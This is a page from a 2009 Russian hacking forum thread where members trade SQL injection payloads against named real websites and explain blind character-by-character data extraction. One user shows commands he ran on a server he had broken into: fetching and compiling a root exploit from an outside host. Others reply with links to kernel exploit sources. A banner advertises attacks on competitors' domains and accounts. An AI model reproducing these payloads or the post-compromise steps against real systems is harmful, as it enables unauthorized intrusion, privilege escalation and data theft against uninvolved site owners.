Ваши вопросы по уязвимостям.

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Ваши вопросы по уязвимостям.

Страница 911 из 2438

911

Опции темы

Поиск в этой теме

Опции просмотра

#9101

26.09.2009, 14:22

ElteRUS

Постоянный

Регистрация: 11.10.2007

Сообщений: 406

С нами: 9780227

Репутация: 1423

С запятыми не пашет вроде

http://lineager.ru/lwdb/index.php?part=items&id=1+and+ascii(substring((sel ect+table_name+from+information_schema.tables+limi t+1+offset+1)+from+1+for+1))>1

#9102

26.09.2009, 14:23

HAXTA4OK

Reservists Of Antichat - Level 6

Регистрация: 15.03.2009

Сообщений: 560

С нами: 9030566

Репутация: 2017

http://lineager.ru/lwdb/index.php?part=items&id=1+and+5=@@version--

ЫЫ

#9103

26.09.2009, 15:16

Shadrin

Постоянный

Регистрация: 20.08.2008

Сообщений: 348

С нами: 9328846

Репутация: 270

Цитата:

Сообщение от mailbrush

Если в .htaccess на все файлы стоит Forbidden, то никак.

нет отдает 404 на файлы.
--
у меня вопрос нужно запретить запуск пхп скрптов,в папке,можно сделать это через htaccess?спасибо!
-уже нашел)

Код:

RemoveHandler .php .phtml .php3
AddType application/x-httpd-php-source .php .phtml .php3

Последний раз редактировалось Shadrin; 26.09.2009 в 15:24..

#9104

26.09.2009, 15:22

BlackSun

Познавший АНТИЧАТ

Регистрация: 01.04.2007

Сообщений: 1,268

С нами: 10058786

Репутация: 4589

Цитата:

Сообщение от mailbrush

Если в .htaccess на все файлы стоит Forbidden, то никак.

Есть вопрос по руту сервака. Делаю back-коннект к себе. Комманды:

Код:

cd /tmp
wget http://evilcode.hmarka.net/2.tgz
gcc run.c -O run
./run
padlina z lublina! //это выводит после запуска
id

Код:

uid=48(apache) gid=48(apache) groups=48(apache),503(nismo),504(shopua@rambler.ru),505(shopua555),506(kamar),507(geniewgen)

Т.е. сервак не порутался... Как его порутать? Есть ли сплоит какой?

Код:

Linux shopua.com.ua 2.6.26.8-57.fc8 #1 SMP Thu Dec 18 19:19:45 EST 2008 i686 athlon i386 GNU/Linux

chmod 777 exploit.so;./exploit.so
ибо в твоем случае через пулсаудио файл не запустился.

--------------------------
http://fsb-my.name/c/exploit.c
http://fsb-my.name/c/pwnkernel.c
http://fsb-my.name/c/run.sh

#9105

26.09.2009, 15:54

wolmer

Постоянный

Регистрация: 12.05.2009

Сообщений: 395

С нами: 8947056

Репутация: 229

takenoprisoners.tk/index.php?site=awards&action=showsquad&squadID=1&p age=1{SQL-INJ}

Можно ли раскрутить? Если да то как? А то никак не пойму как крутить такую скулю крутить

#9106

26.09.2009, 16:05

~~LzD~~

Banned

Регистрация: 24.07.2009

Сообщений: 85

С нами: 8842000

Репутация: 43

Цитата:

Сообщение от wolmer

фак читай от джока

#9107

26.09.2009, 16:11

mailbrush

Познавший АНТИЧАТ

Регистрация: 24.06.2008

Сообщений: 1,996

С нами: 9410786

Репутация: 2731

Цитата:

Сообщение от wolmer

Инъекция в ORDER BY.

Цитата:

Сообщение от BlachSun

Эм... Что за exploit.so и где его взять? Он в результате запуска этого эксплоита должен создаться? И что за пулсаудио (гугл говорит, что голосвая система, но это бред=\ )?

#9108

26.09.2009, 16:14

S00pY

Познающий

Регистрация: 24.04.2007

Сообщений: 92

С нами: 10025299

Репутация: 412

Цитата:

Сообщение от z00MAN

нет, просто ошибка базы.
ничего внедрить нельзя

ошибка базы ? (
Это иньект в ордере ... только толку от него

Соре mailbrush опередил

Последний раз редактировалось S00pY; 26.09.2009 в 16:15.. Причина: mailbrush опередил

#9109

26.09.2009, 16:39

warlok

Постоянный

Регистрация: 18.02.2008

Сообщений: 368

С нами: 9594385

Репутация: 386

Цитата:

С запятыми не пашет вроде

http://lineager.ru/lwdb/index.php?part=items&id=1+and+ascii(substring((sel ect+table_name+from+i nformation_schema.tables+limit+1+offset+1)+from+1+ for+1))>1

а как в таком случае правильно выводить данные ? т.е. как мне узнать какому символу соответсвует запрос ?

#9110

26.09.2009, 16:57

S00pY

Познающий

Регистрация: 24.04.2007

Сообщений: 92

С нами: 10025299

Репутация: 412

По логике < >,а потом сравнением и смотрим по ascii табле символ
forum.antichat.ru/thread119047.html

Страница 911 из 2438

911

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился)	PEPSICOLA	Болталка	188	23.05.2010 10:05
Ваши любимые компьютерные игры	PEPSICOLA	Болталка	280	19.08.2009 00:01
Ваши телеги...	F-IFTY	Болталка	13	18.08.2009 18:22
Вопросы по Ipb 2.0	Voodoo_People	Уязвимости CMS / форумов	26	15.02.2005 22:57

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход

Создать сделку

Мои сделки

Сделка

ESCROW ADMIN PANEL